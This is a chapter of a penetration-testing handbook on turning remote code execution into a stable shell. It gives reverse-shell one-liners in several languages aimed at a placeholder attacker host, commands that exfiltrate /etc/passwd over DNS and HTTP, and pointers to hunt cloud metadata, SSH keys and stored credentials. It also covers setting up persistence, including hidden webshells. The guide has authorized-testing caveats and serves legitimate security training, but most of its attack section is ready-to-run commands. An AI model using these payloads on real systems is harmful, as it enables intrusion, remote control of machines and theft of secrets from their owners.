RCE Exploitation
Checklist
- Start a listener before you fire any reverse shell.
- Pick a payload that matches the OS and the tools present.
- Prefer an out of band shell over reading command output.
- Upgrade a dumb shell to a full TTY before doing real work.
- Only add persistence when the engagement scope allows it, and log every change.
- Note everything you touch so you can clean up and report it.
This chapter assumes you already have a confirmed execution primitive from the detection chapter. The goal now is a stable, interactive shell.
Listeners
Start a listener first.
- Netcat:
nc -lvnp 4444. - Better:
rlwrap nc -lvnp 4444for history and arrow keys. - pwncat or metasploit
multi/handlerwhen you want session management.
Use a port that egress allows. 443 and 53 often pass outbound filters. Confirm egress with interactsh if unsure.
Reverse shell one liners
Replace ATTACKER and 4444 with your host and port. Try several, since available binaries vary.
Bash:
bash -i >& /dev/tcp/ATTACKER/4444 0>&1
A more portable Bash form:
0<&196;exec 196<>/dev/tcp/ATTACKER/4444; sh <&196 >&196 2>&196
Python:
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/sh","-i"])'
PHP:
php -r '$s=fsockopen("ATTACKER",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
Netcat (when the build supports -e):
nc -e /bin/sh ATTACKER 4444
Netcat without -e (mkfifo):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER 4444 >/tmp/f
Perl:
perl -e 'use Socket;$i="ATTACKER";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
Socat (full TTY in one step when socat is present both sides):
socat TCP:ATTACKER:4444 EXEC:'bash -li',pty,stderr,setsid,sigint,sane
On your side: socat file:$(tty),raw,echo=0 TCP-L:4444.
Node.js:
node -e 'require("child_process").exec("bash -i >& /dev/tcp/ATTACKER/4444 0>&1")'
PowerShell (Windows):
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$sb=([Text.Encoding]::ASCII).GetBytes($r);$s.Write($sb,0,$sb.Length);$s.Flush()}"
Java (when stuck in a JVM primitive, drop to a shell):
Runtime.getRuntime().exec(new String[]{"bash","-c","bash -i >& /dev/tcp/ATTACKER/4444 0>&1"});
If you cannot remember a payload on the job, revshells.com generates all of these from a host and port. It is in the tools chapter.
TTY upgrade on Linux
A raw netcat shell has no job control, no tab completion, and breaks on Ctrl C. Upgrade it.
Step 1, spawn a pty:
python3 -c 'import pty;pty.spawn("/bin/bash")'
or script -qc /bin/bash /dev/null.
Step 2, background with Ctrl Z, then on your host:
stty raw -echo; fg
Step 3, in the shell, fix the terminal:
export TERM=xterm
stty rows 50 cols 200
Now you have arrow keys, Ctrl C, and tab completion.
ConPTY upgrade on Windows
Raw Windows shells are also limited. Options:
- Use ConPTY based tools such as ConPtyShell to get a fully interactive console.
- Or move to a Meterpreter session, or a C2 agent, which handle the PTY for you.
rlwrapon your listener still helps with history even without a full PTY.
Data exfiltration
- Stage files to a writable path, then pull them over your shell or a second channel.
- Blind targets: encode output into DNS subdomains to interactsh, for example
for u in $(cat /etc/passwd); do nslookup $u.abcd.oast.fun; done. - HTTP egress:
curl -F f=@/etc/passwd http://ATTACKER/.
Lateral movement basics after RCE
Once you have a shell, orient before you pivot.
- Identity:
id,whoami /allon Windows. - Network:
ip a,ss -tnlp,arp -a, routes. - Secrets: config files, environment variables, cloud metadata at
169.254.169.254,.git-credentials, SSH keys. - Reach: which internal hosts and ports respond. Set up a tunnel (chisel, ssh, or a C2 pivot) to reach them from your tools.
Privilege escalation and full lateral movement are their own topics. The point here is that RCE is the doorway; stabilize, collect, then expand.
Persistence
Only within scope, and log every change for the report and cleanup.
- Linux: a cron entry, a systemd service or timer, an authorized_keys entry, or a modified rc script.
- Windows: a scheduled task, a Run key, or a service.
- Web specific: a small, well hidden webshell as a backup channel, recorded in the report so it can be removed.
Output
You now have a stable foothold. If this RCE was one link in a larger attack, read Chaining. When you are done, write it up with Reporting.